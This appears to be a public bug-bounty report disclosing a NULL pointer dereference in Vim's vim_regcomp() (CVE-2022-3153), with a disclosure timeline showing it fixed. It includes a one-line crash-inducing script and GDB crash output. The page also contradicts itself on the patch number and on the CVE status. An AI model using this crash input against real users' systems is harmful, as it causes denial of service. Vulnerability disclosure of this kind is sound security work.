Null Dereference in vim_regcomp() in vim/vim

0

Valid Reported on Sep 4th 2022

Description:

Null Dereference in vim_regcomp() at vim/src/regexp.c:2716
#Vim Version:

```
git log
commit 8f7116caddc6f0725cf1211407d97645c4eb7b65 (HEAD -> master, origin/mas
```

Proof of Concept:

```
$ git clone https://github.com/vim/vim.git
$ cd vim/ && ./configure && make && cd src/

$ echo "call assert_fails('string',[{'0':0,'':''}])" > poc_null.dat

$ ./vim -S poc_null.dat
Segmentation fault (core dumped)
```

#GDB Log:

```
$ gdb --args ./vim --clean -S poc_null.dat

$ gef> r

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1"

Program received signal SIGSEGV, Segmentation fault.
```

```
0x00007ffff72245d1 in ?? () from /usr/lib/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
$rax   : 0xf4000000
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x4
$rsp   : 0x007fffffffc2a8  →  0x005555557212f0  →  <vim_regcomp+48> test ea
$rbp   : 0x0
$rsi   : 0x00555555849f40  →  0x6e6c61003d23255c ("\%#="?)
$rdi   : 0x0
$rip   : 0x007ffff72245d1  →   vmovdqu ymm0, YMMWORD PTR [rdi]
$r8    : 0x20
$r9    : 0x20
$r10   : 0x32
$r11   : 0x32
$r12   : 0x3
$r13   : 0x0
$r14   : 0x00555555990a80  →  0x00555555991070  →  0x0000000000000000
$r15   : 0x007fffffffc420  →  0x0000000000000000
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow F
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
```

```
0x007fffffffc2a8|+0x0000: 0x005555557212f0  →  <vim_regcomp+48> test eax, e
0x007fffffffc2b0|+0x0008: 0x0000555500000000
0x007fffffffc2b8|+0x0010: 0x005555559910c0  →  "E492: Not an editor commanc
0x007fffffffc2c0|+0x0018: 0x0000000000000000
0x007fffffffc2c8|+0x0020: 0x00555555844c18  →  "aAbBcCdDeEfFgHiIjJkKlLmMnoC
0x007fffffffc2d0|+0x0028: 0x0000000000000000
0x007fffffffc2d8|+0x0030: 0x005555555f49a7  →  <pattern_match+71> mov QWORD
0x007fffffffc2e0|+0x0038: 0x0000002000000114
```

```
0x7ffff72245c3                  shl    eax, 0x14
0x7ffff72245c6                  cmp    eax, 0xf8000000
0x7ffff72245cb                  ja     0x7ffff7224974
→ 0x7ffff72245d1                  vmovdqu ymm0, YMMWORD PTR [rdi]
0x7ffff72245d5                  vpcmpeqb ymm1, ymm0, YMMWORD PTR [rsi]
0x7ffff72245d9                  vpcmpeqb ymm2, ymm15, ymm0
0x7ffff72245dd                  vpandn ymm1, ymm2, ymm1
0x7ffff72245e1                  vpmovmskb ecx, ymm1
```

```
0x7ffff72245e5                  cmp    rax, 0x20
──────────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "vim", stopped 0x7ffff72245d1 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────
[#0] 0x7ffff72245d1 → vmovdqu ymm0, YMMWORD PTR [rdi]
[#1] 0x5555557212f0 → vim_regcomp(expr_arg=0x0, re_flags=0x3)
[#2] 0x5555555f49a7 → pattern_match(pat=0x0, text=0x5555559910c0 "E492: Not
[#3] 0x55555578e634 → f_assert_fails(argvars=0x7fffffffc7e0, rettv=0x7ffff
[#4] 0x555555608d1d → call_internal_func(name=<optimized out>, argcount=<op
[#5] 0x5555557b2915 → call_func(funcname=0x5555559910a0 "assert_fails", len
[#6] 0x5555557b2bf2 → get_func_tv(name=0x5555559910a0 "assert_fails", len=0
[#7] 0x5555557b32d0 → ex_call_inner(evalarg=0x7fffffffcaa0, funcexe_init=0x
[#8] 0x5555557b32d0 → ex_call(eap=0x7fffffffce60)
[#9] 0x55555562cb4d → do_one_cmd(cookie=0x7fffffffd730, fgetline=0x5555557
──────────────────────────────────────────────────────────────────────────────
```

Impact

NULL Pointer Dereferences allow attackers to cause a denial of service (application crash) via crafted input.

CVE
CVE-2022-3153
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.1)

Registry
Other

Affected Version
*

Visibility
Public

Status

Fixed

Found by

Elijah Rodgers

@eli2k765

master

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 680 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

Thanks for a nice POC, I can reproduce the problem.

Elijah Rodgers has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

Fixed with patch 9.0.0404

Bram Moolenaar marked this as fixed in **9.0.0403** with commit **1540d3** 3 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Sign in to join this conversation